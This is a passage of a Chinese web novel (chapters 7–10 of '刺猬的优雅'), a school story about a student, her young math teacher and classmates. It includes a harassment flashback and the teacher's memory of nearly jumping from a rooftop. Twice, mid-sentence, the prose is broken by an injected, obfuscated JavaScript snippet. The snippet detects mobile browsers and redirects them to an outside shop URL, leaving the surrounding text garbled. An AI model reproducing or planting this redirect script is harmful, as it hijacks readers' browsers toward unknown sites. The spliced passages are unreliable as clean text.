待赵栩看清楚男生是谁,拧起眉头,下意识后退一步,然后佯装没看见,继续阔步离去。 那位是韩明月的前男友,柯明扬。 和她对这个人的认知差不多,长得还行,但性情孤僻,是个不能招惹的人。 “等一下。” 赵栩没走出几步,就被叫住了,不过她压根不想理他,故而继续向前走,却又被拦下。 柯明扬利用自己身高的优势,先行一步迈到她跟前,把手提袋递给她,狭长的凤眼没有一丝波澜。 “麻烦帮我把这个给韩明月。” 赵栩扫了一眼,袋子里装的是蛋糕,她目视前方,神色冷冷,“你以后别给她送东西了,她不会要的。” 她虽然和韩明月高二才成为同班同学,进而成为朋友,她对于这位前男友的事迹,只是略知晓一二。 却也知道,这个人秉性偏执,对其掌控欲极强,让韩明月困扰不已。 据说他的父亲有精神类疾病,虽然这么想不是很好……但赵栩觉得,这可能和他古怪的性格脱不了干系。 作为好朋友的赵栩,更不能慷他人之慨,让韩明月再和他有什么牵扯。 “你别挡路。”赵栩罕见对人摆了臭脸,正要往前走,对方却没有让路的意思。 秦暮野虽然初来乍到,不知道学生们的恩怨,但他不难看出赵栩此时的为难。 “赵栩。”他将套卷和成绩单递给对方,抬眼示意,“先回班把这些发了吧。” 清冽的薄荷香驱散了那方阴云,赵栩如获大释,轻声道谢,趁柯明扬出神时,捧着卷子光速跑了。 柯明扬还想上前一步阻拦,秦暮野看穿了他的意图,以更高的身高,不经意挡在了对方跟前,讲他们隔开。 淡淡一瞥,而后转身离去。 柯明扬微眯眼睛,瞟了一眼手中的蛋糕袋,便随手丢进了垃圾桶。 再抬眸时,凝视着两人离开的背影,有种说不清的诡异感。 …… 赵栩生怕对方跟上来,几乎是跑进班里的。 她回头去看柯明扬有没有跟上来,却没注意眼前,不小心把手里的卷子怼到了那人跟前。 徐仲仪也是个不看路的,亦或是皮糙肉厚,抗怼。 赵栩手捧的套卷纸质很硬,直直戳向他的胸膛,奈何他的胸膛更硬,她一个没拿稳,卷子落了一地。 待她反应回来时,成绩单上被踩了一个大黑脚印。 而脚印的始作俑者,来自一只上万的鞋。 “抱歉抱歉。”徐仲仪合十道歉,连忙弯腰帮她捡起来,又拍了拍上面的灰尘。 可是那个脚印仍是挥之不去,似乎在内涵他们班确实考得很差。 “从今往后我也是数学课代表了!”他一双狗狗眼里亮晶晶的,兴冲冲地说。 前一个转走的同学就是数学课代表,徐仲仪发现这个空缺后,连忙去找班主任祁老师,软硬兼施。 前脚班主任刚答应,后脚他就自顾自上任了。 “不是……”赵栩甚是无语,以至于气笑了。 他们没有很熟吧?这种小事也要来和她报备一下? 况且数学老师还站在她身后呢。 不知道的,还以为她赵栩什么时候能做数学老师的主了。 徐仲仪高出女孩不少,垂眸细细打量着女孩的侧脸,从那灵动明亮的眼睛,到圆润的鼻头,再到饱满优美的唇形,宛如柑橘果粒剔透。 他不禁懊恼,为什么会有人忍心当众为难她? 良心不会痛吗? 关于前段时间,事发时间之时,他正在篮球场上训练,也是事后听朋友提及才知道的。 因为门口聚的人太多,赵栩不好久站,把不熟的徐仲仪甩在后面,回到座位上。 看到徐仲仪手里的成绩单后,同学们蜂拥向前,却在看到进门的数学老师后,望而却步。 尽管很多人对成绩抱有好奇,却纷纷被内心所估量的数学成绩、以及看起来不太好说话的老师劝退,回到位置上尽听天命。 秦暮野并没有公开张贴成绩,只是把韩明月叫上去简单说了几句。 就连上课之后,他也没有长篇大论去分析月考成绩,而是直接上起了课。 “翻到讲义第32页,接着讲奇偶性。” 见老师神色如常,可是同学们心里愈发没底,总觉得这是暴风雨之前的宁静。 趁着老师在板书,让同学们自由交流的空档,韩明月悄悄侧头说:“秦老师,古希腊掌管心脏的神。” “我和你讲,刚才秦老师看到我的72分,眉头都没皱一下,还鼓励我。” 72,即全班最低分。 此刻,秦暮野面对不到总分一半的试卷时,那副心如止水的表情,其中的含金量还在不断上升,甚至让韩明月有种数学来日可期的错觉。 “秦老师真是人帅心善,怪不得没有班味。”瞧着那头低于平均理工男的发际线,她不禁感慨。 同学们在谈论错题,因此把她们聊天的声音压下去,赵栩也浑水摸鱼加入了聊天,随口调侃: “也就刚入职没班味儿了,你看咱学校教理科那些老师,哪个头发不是掉得飞快。 “就拿隔壁班的物理老师来说,才30岁出头就能去拍清宫剧了,真吓人。” 韩明月想到那个海中地发型,顿觉头凉,嘶了一声,“你说秦老师再干个十年八年的,头型是不是要和同事看齐了?” “我看行。”赵栩指了指头顶,并画起了圈圈,“他刚才低头数卷子的时候,我就发现这一块儿可能又要掉的趋势……” “嘿嘿。” 赵栩把自己和同桌都讲开心了,不免捂嘴偷笑,视线胡乱一扫,却触及到了那双染墨般的眼睛。 不比平素清冷,眼波似是无痕,湖底却静水深流。 越过喧闹一片,似是能剥离尘埃,直直抵达她的眼睛。 赵栩连忙住嘴,笑容一僵,拿起笔来像模像样地学习,让韩明月更来了精神,随口打趣道: “真有出息,敢做不敢当啊?” 赵栩目不斜视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641016|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着从容,实则忍不住脚趾抓地,声音盘桓在嗓子眼。 “再敢多说一句我把你头发拔光。” 实际上,秦暮野刚板书完,正要喊安静。 目光却如同本能般,落在一点。 他根本没听见她们在说什么,更不知道她们在调侃他。 一切的额外关注,都是不该有的。 …… 下课后,赵栩只敢待在位置上学习,哪里敢移动分毫,生怕和老师正面对上。 如果老师问她头发的故事,那就有意思了。 讲台上才问完题地同学,将作业的便利贴捎给她,她就更笑不出来了。 赵栩用笔尖指着细读每一项,越看越晕,顿觉压力十足。 讲义P40-43;手册P13-15;月考卷子错题整理;卷子反面。 以及最后一句:请务必嘱咐同学们,要完成作业,明天要查。 韩明月也偏头来看,笑意瞬间消失在脸上,“怎么又这么多?不是说年轻老师布置作业都少吗?” 接着直接抽走便利贴,仰头对照,“虽然但是他这个字写得还挺好看的。” “好好好。”赵栩看到这么多作业头都大了,有气无力地说:“喜欢你就拿走吧。” 韩明月见她无精打采,随口打趣:“他的头发又没掉在这上面,不用这么紧张。” 赵栩咬紧牙关:“如果他批一份作业能多掉一根头发,说不定几天后就良心发现了。” 声音不大,只是话音刚落,她忽觉后背一凉,脖子僵硬,一时动弹不得。 一道挺拔的人影直直落在她的课桌上,清冽的薄荷香环绕在周围,道不明的冷意让她心虚不已。 “我困了。”赵栩撂下这句话后,直接把脑袋藏进手臂,趴在课桌上装睡。 对于作业,秦暮野想找课代表补充几句,谁料一下讲台就听到了这番抱怨之语。 他倒是不生气,装作没听见,接着拿起她桌上的一支笔,把要补充的要求在便利贴上写下,而后放轻动作,贴在笔袋上。 尚在装睡的赵栩,眼睛睁开一条缝观察敌情,却冷不丁地,撞进了那双清澈却悠远的眼睛。 那方桃花深潭,总困于深冬,平和归平和,但少有人情味。 “记得认真写作业,填空有的要分类讨论,只写一个答案是不可以的。” 秦暮野移开视线,留下这句叮嘱后,又注意到一旁幸灾乐祸的韩明月,面无表情补充道: “韩明月,不要乱用公式,数学不是物理,不是漫天写公式碰运气。” 韩明月不敢笑话赵栩了,改为先笑话自己,小声回答: “知道了。” …… 晚上十点晚修结束,等赵栩回到家里已经十点半。 一想到自己晚自习和晚修的时间大部分时间都奉献给了数学,却还没写完,她就懊恼地不行: 早知道先写其他作业了。 赵栩不顾身后妈妈喊她吃夜宵的声音,叹了一口气,进门就奔书房去了,把书包扔在椅子上,摊开地理作业,凝视着书桌上的电子表,越想越气,开始内耗。 她的时间也是时间,怎么能尽数奉献给写作业呢?这样一来,她预习复习、整理错题和笔记的时间被大量压缩。 有时候就是这样,明明手里有一堆事要做,却失去了去动力,索性摆会儿烂先。 赵栩百无聊赖地刷着手机,不自觉间,又打开了红豆app,忽然计上心来。 她喝了口热牛奶,憋不住坏心思,点开了橘子海——也就是秦暮野的的对话框,将尊师重道暂且抛诸脑后,发了如下消息: [我们数学老师好讨厌啊TAT,布置那么多作业真是没良心!估计又要写到明天了。] [怎么才能委婉地劝劝他,能让他少布置点作业?学生的命也是命。] 她也没期待能得到什么答案,只是想借着这个窗口,唤醒秦暮野为数不多的良知。 一言以蔽之,趁他不知道自己的真实身份,指桑骂槐。 发完消息后,赵栩就埋头去写数学卷子了,没写几道题,就收到了对方的回复: [老师与学生在共同提高学习成绩这件事上,地位是平等的,也就是说你们想达成的目的是一致的。] [所以,不用害怕,去找老师谈谈。] [作业其实是面向大多数同学的学习水平而布置的,如果你有自己的学习方法,并行之有效,当然可以脱离作业这套体系。] [……] 认真看完回复,赵栩才算放下心来,满意地点了点头。 这可是你说的。 想到这里,她大手一挥,合上了数学作业,转身拿起换洗的衣物准备洗洗睡了。 不写了!! 她不知道的是,对方紧接着又回复了一条: [老师们的教学方法是经过时间检验的,如果没有足够的学习能力,建议不要贸然打破,自己摸索的沉没成本会很高。] 8. 刺猬的优雅(2) 昨晚洗完澡后,赵栩完全把没写完的数学作业抛之脑后,就连忙上床补觉。 她也是真的困了,罕见地一夜无梦,睡到闹钟响了,才恋恋不舍地爬起来。 许是睡前没写数学的缘故,赵栩都觉得自己重获新生,一大早进班,坐在死气沉沉的班里,都倍感神清气爽。 她分外珍惜这个清醒的大脑,整个早自习斗志昂然,生生背了三张A4纸的政治知识点。 第一节是数学课,照例她是不需要把作业送过去的,于是她拿过花名册,给包括自己在内的、没写作业的几人“便宜行事”。 “赵栩。” 上课铃和那富有磁性的声音在她耳边同时响起,吓得她手停在半空,一时不敢下笔。 此时,对方的声音像极了她的催命符。 他今天怎么来这么早? 秦暮野没发现她的小动作,而是走到她的座位前方,把手伸出,说:“不用查了,把卷子都给我吧。” “嗯。”赵栩心虚得不行,甚至忘了站起来的礼节,不敢直视数学老师,就坐着把卷子塞到了他的手里。 秦暮野看她这副做错事的表情,大约也能猜出一二,却不打算再宽容,迈着一双大长腿走上讲台。 “这节课要讲卷子,没交的同学出去补完了再进来。” 他双手撑在讲桌上,面上不见起伏,说出的话却仿佛往平地上扔了块沸石,同学们都抓住了“出去”二字,议论纷纷。 赵栩满目错愕,反复品着那句话,不知所措,不敢相信老师真的会为了这种小事让她出去罚站。 “需要我再说第二遍吗?”秦暮野转身去擦黑板,仍不忘转过身望向他的课代表,眼神不带一丝多余的感情。 在他看来,纯粹不交和交了没写,两件事是截然不同的性质,前者是最不像话的。 偶尔一两次不写不交,可以原谅。但这其中一部分人,则是屡次三番犯错,他作为任课老师,不能再助长这种不正之风。 虽说这里面有初次犯错的,也只能暂时委屈一下。 好学生典范赵栩,何曾有过这种待遇?她窘得脸一下子就烧起来了,不敢抬头,捎起卷子和讲义,在同学们齐刷刷的注视下,恨不得遁地而去。 徐仲仪的目光一直追随着她,凝起眼眸,待人消失在视野里,他随之站起来,再次吸引了全班的目光。 “你不是写完了吗?”秦暮野抬眸看向这个行为乖张的男孩,尾音有种说不出的冷。 徐仲仪已经走到门口,闻言停下,礼貌地笑笑,“报告老师,我有点犯困,想出去听讲。” 趴在走廊窗台补作业的赵栩,根本无心关注班里,而是瘪起嘴巴,怀着满腹的委屈补作业。 她和身边的韩明月双双被赶了出来,并肩做一对难姐难妹。 “栩栩,你怎么也向我看齐了?”韩明月翻开自己那张只写了三个题的卷子,俏皮的眼睛里添了些许无奈:“你应该是没时间写,不像我,就没几道会的。” 赵栩面上有些挂不住,声音闷闷的,“我是不想写。”接着抽空看了眼神情自若的秦暮野,气不打一处来。 昨天在网上还和她说,可以自行支配学习时间……第二天就让她罚站。 这个人怎么说一套做一套! 说起来,她真不是一个适合做坏事的人。 还在上小学的时候,她在朋友的怂恿下,翘课翻出校门去山上采菌子,菌子是采到了,只是转身就被养殖菌子的大爷抓住了,好一通教育。 被老大爷教育完之后,下山的路上碰到了寻找他们的老师,又挨了一顿批评。 回家后,她把菌子混入了家里装菌子的筐子里,而她的爸爸不巧喝多了酒,炒菌子的火候没掌握好,她又吃进了医院,被担架抬走的时候还在和小人斗智斗勇。 初中时,班里的同学嫌弃她是大山里来的,明里暗里讽刺她土气,明明她被言语攻击那么多次,可是班主任一次都(装作)没听到。 可偏偏她当众反击时,老师终于发现了,不仅批评了她,还把她的妈妈叫去了学校,让家委会审判她们母女。 还好上了高中之后,这样不幸的境地才有所好转。 徐仲仪察觉到了她的苦恼,踮着脚步靠近,自来熟地站在了她的右手边,顺便把阳光挡住了。 赵栩从回忆中苏醒,往左边挪了挪,他厚着脸皮也往左边迈了一小步。 “你挡光了。”她的心情本来就不好,突然多了张火力这么旺的“贴纸”,内心的烦躁更甚,不仅往外挪了几步。 徐仲仪最为人敬而远之的,大多是他冷脸的时候。但他笑时,不仅没什么攻击性,反而多了些傻呵呵的憨厚感。 就像现在,他被冷言相待依旧笑意不减,更不忘哄她开心:“在阳光下学习伤眼,我这不是给你吸吸光吗。”边说边扯着身上那件白色短袖。 “我谢谢你。”听着这个尴尬的笑话,赵栩忍不住回呛了一句。 说完,她不再理会对方,挽起校服外套里长出一截的毛衣袖子,只是偶尔也会怀疑他们过的是不是一个季节。 “秦老师刚才讲的那道题我没听懂,你能再给我讲讲吗?”徐仲仪一心二用,这边和喜欢的女生说话,另一边还不忘听讲。 “徐仲仪!让你出去不是在外面闲聊的!” 秉性稳定的秦暮野,此时紧抿唇线,眉目间暗含薄怒。 他这是第一次当众大声叫学生的名字,把班级内外的人都吓了一跳。 两人在走廊里说话的声音虽然不大,但足以让班里所有人听得清楚。 “抱歉啊老师。”徐仲仪悻悻地笑,继续低头看赵栩做题,兴致盎然,好像这题是给他写的。 赵栩越写越郁闷,班级内的杂声在她听来刺耳无比,像是在嘲笑她不写作业的懒惰。 说起来,这是她第一次不交作业,就被抓了个现行,还被老师赶出教室罚站。 思及此处,她倒没有哭的想法,只是心烦意乱,题目本来就难,那些数字在她看来,像极了没有章法的豆芽。 “你怎么了?”徐仲仪注视着她拧紧的眉头,没来由的心疼席卷了他。 见到她低垂的睫毛微微颤抖,他以为赵栩要哭了,挠挠后脑勺,笨嘴拙舌了半天,桀骜的眉眼难得柔和下来,俯下身子同她好声好气地说: “从幼儿园到高中,我都被罚站罚惯了,这次多大点事?你们这些好学生就当给自己积累人生经验了。” “不交作业,上课迟到,数学考过全班倒三,还有和人打……”说到最后,他直接止住,然后不安地抬眼看向女孩,生怕赵栩觉得他是个爱和人打架的麻烦。 赵栩微扬嘴角,顺着他说:“打架吗?” 没关系,因为我也和别人打过架。 她的眸子,表面漾起温和的波纹,实际上那方清澈底下暗潮涌动,像是能洞察人心,让人不敢直视。 说完,她没有再去看对方的神情,接着低头做题,瞳孔里泛起层层涟漪,思绪亦忍不住随着笔下的公式飘远。 赵栩的初中生活过得并不尽如人意,影视剧里的抽耳光群殴倒是没经历过,但是三年的冷暴力下来,却也不逊于热暴力。 她初中就读于市内一所有名的九年一贯制私立学校,从基础设施到师资,样样都是拔尖的,以至入学的门槛很高,若非有钱有势的家庭送不进去。 学生家长们自小学阶段就开始拉帮结派,上梁不正下梁歪,捎带着学生们很快结成了小团体,从上到下都很是排挤后转入的学生。 赵栩的妈妈赵梧楠,年轻有为,样貌钱财能力令人艳羡,几个家长们就很看不惯她,孩子们的恶意又是最纯粹的,可想而知赵栩在学校的生活不会太好过。 起初,赵栩只把他们的奚落之语,如“土包子”“野种”“离我远点别弄脏我”之类的话当作耳旁风。 她不曾把这样幼稚的攻击放在心上,只觉得他们小小年纪就这副德行,可悲至极。 大多数学生嘴上说归说,倒没有什么实际行动,赵栩独来独往,与他们不相干就是了,日子也还能过。 直到…… 初二的那天中午,她正趴在桌子上午休,迷迷糊糊间,突然感受到有一只手伸入了她的裙摆,想要拽下她的安全裤。 当她察觉到对方的行为,几乎没有片刻犹豫,直接把人踹倒在地上。 男性邪恶的触碰,天然就是一种污秽,让人止不住犯恶心。 潜意识中的自我保护机制吞噬了理智,尘封已久的阴影闪现,她发了疯似的,把手里能拿到的东西,向男生身上砸去, 后来具体的她也忘记了,赵栩只记得,等她清醒过来时,男生躺在地上蜷缩成一团,周围人纷纷用惊恐的眼光看着她。 为了不把事情闹大,老师把教室里的监控删除,家委会成员倒打一耙,逼着赵栩为“打人行为”道歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641017|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 赵栩虽然不爱计较,并不意味着她好欺负,所幸监控是全市联网的,妈妈和她报案之后,在市教育局找到了备份。 她记得人生最爽快的一件事,就是把备份好的录影带甩到男生的父亲脸上,并清清楚楚告诉他: “你的儿子,小时候性骚扰,长大就是□□犯。” “等他上高中,上大学,参加工作,我会把这份录影带寄给他所在的单位,跟着他一辈子。” “甚至等他结婚了,让这件事在大荧幕播放,给所有宾客看。” 她是受害人,自然没什么丢人的,一辈子抬不起头的人,也永远不会是她。 后来,初中班主任引咎辞职,赵栩写了一封举报信寄到他的新学校,也不知道下文如何。 再后来,剩下的一年半里,不仅没人敢说赵栩的坏话,同学们都躲着她走,她过得也算舒坦。 透过窗子眺望,远方白云成海,赠予人间一片凉爽,云山雾罩之下,别有一番意境。 蓝天像是能手捧一剖清泉,为藏污纳垢的尘世,来一场洗礼。 徐仲仪发觉赵栩眉间惆怅,眼角染上一抹红晕,似有心事。 就是他再迟钝,也能感受到她怀揣心事,触景生情。 谁会忍心让她不痛快? 他反正舍不得。 “我也没带卫生纸,如果你想哭,就用这个擦,可干净了!”徐仲仪一本正经撩起白短袖,为了哄她开心,无所不用其极。 赵栩盯着他那副不像说笑的耿直,从回忆中脱身,错愕了片刻,哑然失笑。 她忽然觉得,徐仲仪和自己像是两个极端,一个看着蛮横,其实本质纯真;一个是大家眼里的好学生,实际上离经叛道的想法一点不少,慢慢堆叠,终有破土而出的一日。 女孩笑时,眼波微横的澄澈,融进了天际无垠的湛蓝色,像极了与拂晓处相接的恬静。 徐仲仪望着她笑起来的样子,一言不发,却看得入迷。 他不知道该用什么去形容最贴切,只觉得宝物是要捧在手心里的。 喜欢的女生还是笑起来更好看。 班里的同学也早就无心听讲,全部精力都放在“徐哥低声下气哄女生”这幕奇观上,交头接耳起来,更有几名男生不怀好意地嘿嘿笑着。 “看黑板。”秦暮野收回目光,语气里了无温度,下笔间却无意识地加重了些。 两人的谈笑声,虽然模糊,却在他的耳膜中放大。 他抬头抄写函数公式时,略微分神,居然折断了一根粉笔。 …… 下课后,秦暮野在班里答疑,赵栩则是犯了轴,不想和他待在同一空间,非要在走廊上站到他走了为止。 徐仲仪和韩明月就在一旁陪着她,三个人同时站在走廊窗边,引起了班主任祁老师的注意,他的视线留在三份数学卷子,心下明了。 本想上前询问,但看到学生的心情似乎不是很好,便劝慰了几句: “学习上有什么困难,要及时和老师提,不要和老师置气嘛……” 待到预备铃响,身前围了乌泱泱一片学生的秦暮野才得以抽身,去七班上课。 人刚从前门出来,赵栩直接同他交换场地,从后门低头溜了进去。 临进门前,她欲言又止,忍不住偷偷瞟了他一眼,在权衡要不要道歉,可心里还是不痛快。 秦暮野觉察到她的注视,把“瞟”错当了“瞪”,以为是自己让她外出罚站,惹得她不悦,一时间走也不是不走也不是。 见此情形,祁老师选择长话短说,叫住了同事,委婉开口:“秦老师啊,学生不写作业是应该罚,但应该变通一点,不要这么……简单粗暴。” “他们也不是小孩子了,自尊心强,这里人来人往的,就这么罚站不太好。” 祁老师作为班主任,自然成为了任课老师和学生沟通的桥梁,注意到对方作沉思状,压低声音: “前几天,隔壁师大附中有个高三的学生跳楼了。” “之后追查原因,是那个学生在家里被父母责骂。来到学校后,老师肯定不知情,因为什么事又批评了他几句,孩子心里受不住,就……唉。” 这边祁老师难掩痛惜,身旁的秦暮野,目光悲凉,眼底缓缓结上一层寒霜,冷得可怕。 他远眺窗外,视线从高空跃下,漫过坚硬的平地,仿佛看到了高中的自己,可能会迎来另一个结局。 9. 刺猬的优雅(3) [回忆让我活成刺猬,现实让我保持优雅。 大家都以为我住在富丽堂皇的城堡,实际上我偷偷将了断尘世的刀子藏在里面。 我偶尔抚过利刃取温血,总以为要守着孤独度日,谁料有人敲响了那道冷硬的门房…… 谢谢你,没有让我在离开人世的前一秒,才懂得去爱。——评《刺猬的优雅》] * 秦暮野高二那年,时常要离开学校参加比赛,甚少待在班里,故而和同学不是很熟。 当他回到学校,班主任给他安排了一个女生当同桌。 秦暮野对她印象不深,只记得她性格腼腆,话也不多,老师安排他们当同桌,就是为了让他辅导这个女生的数学。 他虽然不是什么待人热情的性子,但对于别人的问题有求必应,而且能举一反三,很早就展现出人民教师的苗头。 他所在的高中是省重点,通常一下课,学生们就把老师围得水泄不通。而不知从哪天起,同学们发现了班里这位冷淡的年级第一,居然也会帮别人讲题。 渐渐的,秦暮野冷清的座位周围,慢慢热闹起来,性子有些孤僻的他,头一次感受到了置于人群的心安,那张不苟言笑的俊脸,偶尔也会浮现笑意,不再那般拒人于千里之外。 直到…… 高中阶段,父亲周陵都会亲自接送秦暮野上下学,有一次,秦暮野不过是晚出校门十分钟,便遭到诘问。 为着父亲异乎寻常的控制欲,他哪里敢说是给同桌讲题?指不定要被曲解成什么样,只能用“和同学讨论问题”搪塞过去。 结果第二天,周陵就去学校找老师,亲自到班里看了一眼,然后把秦暮野叫到走廊上。 “数学居然没考到满分,英语语文也出现退步,你到底在忙什么?”周陵隐忍着怒意,质问儿子。 秦暮野一时被问懵了,只觉得父亲莫名其妙,但还是保持冷静:“这阶段忙着复习比赛,其他科目疏忽了。” 疏忽了,但还是稳定在年级前三。 周陵没有得到想要的答案,嘴角只是习惯性上扬,笑容没有达到眼底,让人不寒而栗。 “昨天晚出来,是在和女生谈恋爱吧?” 面对这个完全没有逻辑的结论,秦暮野的表情趋于僵硬,怔怔地望着父亲,久久难以应答。 不要说谈恋爱,他甚至都没有喜欢过的女生。 难道就因为他和女生当同桌,又恰巧此时成绩稍有回落,就要被平白扣上一顶帽子吗? 虽然周陵有过很多荒谬的操作,可这一次无妄之灾的降临,让他这个当儿子的,实在难以理解父亲的脑回路。 “我没有,你误会了。”秦暮野面无惧色,眉峰紧蹙,隐隐表达了自己的怨气。 周陵对他的态度很是不满,冷笑一声,“你看看你都和什么人待在一起,真是自甘堕落。” 秦暮野的心像是狠狠被扎了一刀,连忙反驳:“你怎样指责我都可以,但请不要这样说我的同学。” “你还敢说没谈恋爱?”周陵双臂环抱在胸前,目中刺出冷光,“秦暮野你看看你现在的样子,对得起你母亲吗?” 母亲是秦暮野最大的心结,这两个字像是引爆炸药的导火索,点燃了他压抑依旧的怨念。 “你对得起!”秦暮野残存的最后一丝理智被燃尽,已经红了眼,全然忘记还有人围观,生平第一次失态,冲父亲大喊: “你以为你能坐到现在的地位靠的是谁?妈妈那么爱你,你却……” 都说家丑不可外扬,其实秦暮野根本就不想和姓周的成为一家人,索性破罐子破摔,把周陵藏的最深的自卑,撕扯开来。 啪。 清脆的巴掌声,令所有围观之人咋舌,有人甚至惊呼出来。 为着肤色偏白,秦暮野的脸颊上,很快便浮现出清晰的红痕,且随之扩大,仿佛躲不开的冤孽烙在上面,望之触目惊心。 接下来的事情他也记不得了,只是待到反应过来的时候,已经站在了学校的天台上。 那天风很大,大到能轻易撼动这个接近一米九的男孩。 劲风掀动着他的衣摆,同时顺着脖子灌入,企图掠夺这个本就冰冷的少年,最后一丝温情。 不通人情的风,平添了些邪性,意图裹挟着他逃亡,将其一步一步推向天台的边缘,怂恿他逃离这个令人憎恶的世间。 很多年之后回想起来,他那时真的动了想要了结的心思。 压垮骆驼的永远不止一根稻草,而是经年累月之下,父亲终日给他营造的高压态势。 就像今天,周陵只想认定自己相信的,更不允许别人公开忤逆他,对于莫须有的罪名,则是认也得认不认也得认。 想到这里,那一双墨眸好似再也照不进光,过去那个心怀热忱的少年,早就为生活逐步抹杀,永远被锁在白夜。 秦暮野目光空洞,眺望攘来熙往的车辆与行人,顿时思绪万千。 在他的眼里,那条横亘城市的要道纵然宽阔,可没有一分是留给自己的,那条冰冷的构筑物之上,每天要走过成千上万的人,可偏偏不会有自己等待的,更不会有盼他而归的。 他一边观景,一边起开了手里的酒精含量1%的鸡尾酒。 反正都要去另一个世界了,就让他违纪一次吧,他想。 秦暮野浅浅抿了一口草莓味的液体,起初甜甜的,可后知后觉,苦涩很快便溢满了口腔。 逆着冷风,秦暮野手持酒罐,如行尸走肉般,步步逼近天台,脚尖已然悬空在外。 于他而言,脚下便是七层楼高的祭台,以过往一切的苦痛为祭,葬送他表面风光实则空洞的一生。 念及马上就能见到母亲了,他的嘴角难得漾起一丝幸福,勇气更是生出不少。 无情的风在此刻似乎趋于有情,愿意化作一只手,替他拭去眼角的泪光。 这一刻,他忽然萌生了一个想法。 从几十米高一跃而下,坠地之后生还的几率极低,他可能会七窍流血,可能会死不瞑目,可能会失禁…… 那么在这种情况下,他爸是会痛彻心扉悔恨不已?还是会怪他这个儿子死得难看,给他丢人? 大概,两者兼有吧。 尽管后者可能会占得多一些,但如果能让他产生一点悔意,哪怕一点…… 秦暮野也忘记了,最后他为什么没有跳,大概是思及外公外婆年事已高,不愿让他们白发人送黑发人。 一个人来到这世间,本就不是置身事外,总与他人息息相关。 换言之,有几个人是为了自己而活。 从天台下来后,他像是无事发生,回到班里,像往常一样打开奥赛习题册学习,再度变回了那个冷漠寡言的秦暮野,直到毕业。 “秦老师,秦老师……” 祁老师见他一直望向窗外,神思恍惚,以为是新老师一时接受不了隔壁学校学生跳楼的事情,开解道: “这种事情不能说是常见吧,至少可以说是每年都有。” “要说孩子们心里脆弱吧?我觉得也不是……现在这个社会啊,压力来自方方面面。” 秦暮野微笑颔首,“谢谢,您的提议我会反思。”然后在与同事擦身离去的那刻,收起了笑容,桃花眼里落入愁绪,转而深思: 要不是他内心强大,恐怕早就要去另一个世界给人讲数学题了。 …… 下午课间时分,七班的同学来二班找数学课代表去办公室点卷子,赵栩余气未消,就像没听见一样,趴在课桌上装睡。 徐仲仪满心期待着和赵栩共事,走到其身边,正准备叫人,韩明月却 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“好的老师。”徐仲仪接过卷子,注意到他桌子上有一个卡通手提袋,里面装着一大盒甜甜圈。 袋子上还贴着一个便利贴,上面写着: 秦老师,祝你早安,午安。晚安。 徐仲仪不知道这是一句电影台词,被这句问候肉麻得不行,不禁揶揄:“老师您这才入职多久,都有追求者了?” 和秦暮野同办公室的老师恰好路过,会心一笑,“那是和小秦一起入职的小李送的,女追男隔层纸嘛,说不定就能撬动你们秦老师。” 秦暮野佯装听不见,转过身去找讲义。 说起这个他就头疼,和他同届的李老师,总是趁他不在的时候,把各种各样的小礼品放在他的桌子上。 每当他再把这些礼品归还时,对方不仅不认,还要招来周边一阵起哄。久而久之,他为了减少不必要的误会,往往托人送还。 韩明月盯着粉色袋子里的甜甜圈,淋着巧克力酱的甜甜圈,被烤得饱满油亮,若有若无的甜香,扩散在办公室里,很好地拿捏了她的胃口。 秦暮野注意到了她饿狼般的眼神,微扬下巴示意,“可以拿走的。” 韩明月思忖片刻,不能干这么没出息的事,然后摇了摇头,忽然想起正事。 “老师……”她思虑再三,怕老师对赵栩不来办公室这件事产生什么想法,为她辩白:“赵栩身体不舒服,我就替她来了。” 秦暮野顿了顿,便反应过来,微笑着点点头,“没事的,让她好好休息。” 虽然终日与数学打交道,他还没傻,当然能看得出,赵栩还在怪他罚站的事。 站在一个老师的角度上,以“罚站”惩罚不交作业的同学,尽管幼稚了些,可扪心自问,他觉得自己没有做错。 韩明月最终还是把那个装着甜甜圈的袋子拿走了,不过不是为了自己吃,而是为了…… 调和矛盾。 赵栩看她手里多了个袋子,怏怏的神色中略带了些笑意,好奇地问:“这家不是学校旁边刚开的吗?谁送的啊?” “不是谁送的。”韩明月一脸认真,酝酿了片刻,开始睁着眼说瞎话: “这是秦老师托我送给你的。” “他说,他说……” 赵栩憋着笑意,玩味地望着她,到看看她能编出什么花样来。 “他说……”韩明月绞尽脑汁,而后眼神坚定,一本正经地说:“他说,他错了,非常抱歉让我们罚站。” 听到这儿,赵栩掩嘴笑出了声,暗自好笑: 天下哪个老师会给学生道歉,还道得这么低三下四,编也不编得像一点。 10. 刺猬的优雅(4) 今天下午赵栩装睡以逃避去数学办公室的课间,祁老师正好站在班级后面,目睹了这一切。 于是下了最后一节政治课,把她叫到外面单独谈话,大致意思就是: “与人相处之道可以类比咱们的文科学习,讲究一个逻辑和变通,你的语文次次年级第一,作文都能写明白了,怎么在这件事上连徐仲仪明白都没有?” 简言之,她目前的行为大有给老师脸色瞧的嫌疑。 赵栩可不敢背这么大口锅,趁着晚修去数学办公室碰碰运气,顺便把那个装着甜甜圈的袋子还回去,毕竟不好白吃人家的。 夜色降临在长廊里,四周空无一人,大理石砖折射着夜的沁凉,唯有几片树叶零落在廊上。 赵栩偏头看向敞开的窗子,心下明了,许是白天风骤,将树枝不慎吹落。 